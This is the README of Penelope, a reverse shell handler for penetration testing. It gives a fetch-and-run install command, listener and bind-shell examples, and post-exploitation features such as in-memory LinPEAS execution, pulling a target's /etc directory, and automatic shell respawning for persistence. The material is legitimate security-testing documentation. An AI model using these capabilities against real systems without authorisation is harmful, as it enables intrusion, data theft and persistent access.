Penelope can be run on all Unix-based systems (Linux, macOS, FreeBSD etc) and requires Python 3.6+
It requires no installation as it uses only Python’s standard library - just download and execute the script:
wget https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py && python3 penelope.pyFor a more streamlined setup, it can be installed using pipx:
pipx install git+https://github.com/brightio/penelope| Description | Unix with Python>=2.3 | Unix without Python>=2.3 | Windows |
|---|---|---|---|
| Auto-upgrade shell | PTY | PTY(*) | readline |
| Real-time terminal resize | ✅ | ✅ | ❌ |
| Logging shell activity | ✅ | ✅ | ✅ |
| Download remote files/folders | ✅ | ✅ | ✅ |
| Upload local/HTTP files/folders | ✅ | ✅ | ✅ |
| In-memory local/HTTP script execution with real-time output downloading | ✅ | ❌ | ❌ |
| Local port forwarding | ✅ | ❌ | ❌ |
| Spawn shells on multiple tabs and/or hosts | ✅ | ✅ | ❌ |
| Maintain X amount of active shells per host no matter what | ✅ | ✅ | ❌ |
(*) opens a second TCP connection
- Streamline interaction with the targets via modules
- Multiple sessions
- Multiple listeners
- Serve files/folders via HTTP (-s switch)
- Can be imported by python3 exploits and get shell on the same terminal (see Extras)
Penelope can work in conjunction with metasploit exploits by disabling the default handler with set DisablePayloadHandler True
penelope # Listening for reverse shells on 0.0.0.0:4444
penelope -p 5555 # Listening for reverse shells on 0.0.0.0:5555
penelope -p 4444,5555 # Listening for reverse shells on 0.0.0.0:4444 and 0.0.0.0:5555
penelope -i eth0 -p 5555 # Listening for reverse shells on eth0:5555
penelope -a # Listening for reverse shells on 0.0.0.0:4444 and show sample reverse shell payloads
penelope -c target -p 3333 # Connect to a bind shell on target:3333
penelope ssh user@target # Get a reverse shell from target on local port 4444
penelope -p 5555 ssh user@target # Get a reverse shell from target on local port 5555
penelope -i eth0 -p 5555 -- ssh -l user -p 2222 target # Get a reverse shell from target on eth0, local port 5555 (use -- if ssh needs switches)
penelope -s <File/Folder> # Share a file or folder via HTTP
As shown in the below video, within only a few seconds we have easily:
- A fully functional auto-resizable PTY shell while logging every interaction with the target
- Execute the lastest version of Linpeas on the target without touching the disk and get the output on a local file in realtime
- One more PTY shell in another tab
- Uploaded the latest versions of LinPEAS and linux-smart-enumeration
- Uploaded a local folder with custom scripts
- Uploaded an exploit-db exploit directly from URL
- Downloaded and opened locally a remote file
- Downloaded the remote /etc directory
- For every shell that may be killed for some reason, automatically a new one is spawned. This gives us a kind of persistence with the target
penelope_sample_usage.mp4
Some Notes:
- By default you need to press
F12to detach the PTY shell and go to the Main Menu. If the upgrade was not possible the you ended up with a basic shell, you can detach it withCtrl+C. This also prevents the accidental killing of the shell. - The Main Menu supports TAB completion and also short commands. For example instead of
interact 1you can just typei 1.
positional arguments:
args Arguments for -s/--serve and SSH reverse shell modes
options:
-p PORTS, --ports PORTS Ports (comma separated) to listen/connect/serve, depending on -i/-c/-s options
(Default: 4444/5555/8000)
Reverse or Bind shell?:
-i , --interface Local interface/IP to listen. (Default: 0.0.0.0)
-c , --connect Bind shell Host
Hints:
-a, --payloads Show sample reverse shell payloads for active Listeners
-l, --interfaces List available network interfaces
-h, --help show this help message and exit
Session Logging:
-L, --no-log Disable session log files
-T, --no-timestamps Disable timestamps in logs
-CT, --no-colored-timestamps Disable colored timestamps in logs
Misc:
-m , --maintain Keep N sessions per target
-M, --menu Start in the Main Menu.
-S, --single-session Accommodate only the first created session
-C, --no-attach Do not auto-attach on new sessions
-U, --no-upgrade Disable shell auto-upgrade
-O, --oscp-safe Enable OSCP-safe mode
File server:
-s, --serve Run HTTP file server mode
-prefix , --url-prefix URL path prefix
Debug:
-N , --no-bins Simulate missing binaries on target (comma-separated)
-v, --version Print version and exit
-d, --debug Enable debug output
-dd, --dev-mode Enable developer mode
-cu, --check-urls Check hardcoded URLs health and exit
- remote port forwarding
- socks & http proxy
- persistence modules
- team server
- currently spawn/script/portfwd commands are supported only on Unix shells. Those need to be implemented for Windows shells too.
- an option switch for disable all logging, not only sessions.
- main menu autocompletion for short commands
- download/upload autocompletion
- IPv6 support
- encryption
- UDP support
- Session logging: when executing commands on the target that feature alternate buffers like nano and they are abnormally terminated, then when 'catting' the logfile it seems corrupted. However the data are still there. Also for example when resetting the remote terminal, these escape sequences are reflected in the logs. I will need to filter specific escape sequences so as to ensure that when 'catting' the logfile, a smooth log is presented.
Yes. Penelope is allowed because its core features do not perform automatic exploitation. However, caution is required when using certain modules:
- The meterpreter module should be used only on a single target, as permitted by OSCP rules.
- The traitor module uploads Traitor, which performs automatic privilege escalation.
So as long as you know what you’re doing, there should be no issues. If you want to avoid mistakes, you can use the -O / --oscp-safe switch.
It depends on the type of shell upgrade in use:
- PTY: press
F12 - Readline: send EOF (
Ctrl-D) - Raw: send SIGINT (
Ctrl-C)
In any case, the correct key is always displayed when you attach to a session. For example:
For example, to change the PTY escape key from F12 to Ctrl-P, put the following in ~/.penelope/peneloperc:
self.escape = {'sequence':b'\x10', 'key':'Ctrl+P'}
Your contributions are invaluable! If you’d like to help, please report bugs, unexpected behaviors, or share new ideas. You can also submit pull requests but avoid making commits from IDEs that enforce PEP8 and unintentionally restructure the entire codebase.
Penelope was the wife of Odysseus and she is known for her fidelity for him by waiting years. Since a characteristic of reverse shell handlers is waiting, this tool is named after her.
- Cristian Grigoriu - @crgr for inspiring me to automate the PTY upgrade process. This is how this project was born.
- Paul Taylor - @bao7uo for the idea to support bind shells.
- Longlone - @WAY29 for indicating the need for compatibility with previous versions of Python (3.6).
- Carlos Polop - @carlospolop for the idea to spawn shells on listeners on other systems.
- @darrenmartyn for indicating an alternative method to upgrade the shell to PTY using the script command.
- @bamuwe for the idea to get reverse shells via SSH.
- @strikoder for numerous enhancement ideas.
- @root-tanishq, @robertstrom, @terryf82, @RamadhanAmizudin, @furkan-enes-polatoglu, @DerekFost, @Mag1cByt3s, @nightingalephillip, @grisuno, @thinkslynk, @stavoxnetworks, @thomas-br, @joshoram80, @TheAalCh3m1st, @r3pek, @bamuwe, @six-two, @x9xhack, @dummys, @pocpayload, @anti79, @strikoder for bug reporting.
- Special thanks to @Y3llowDuck for spreading the word!




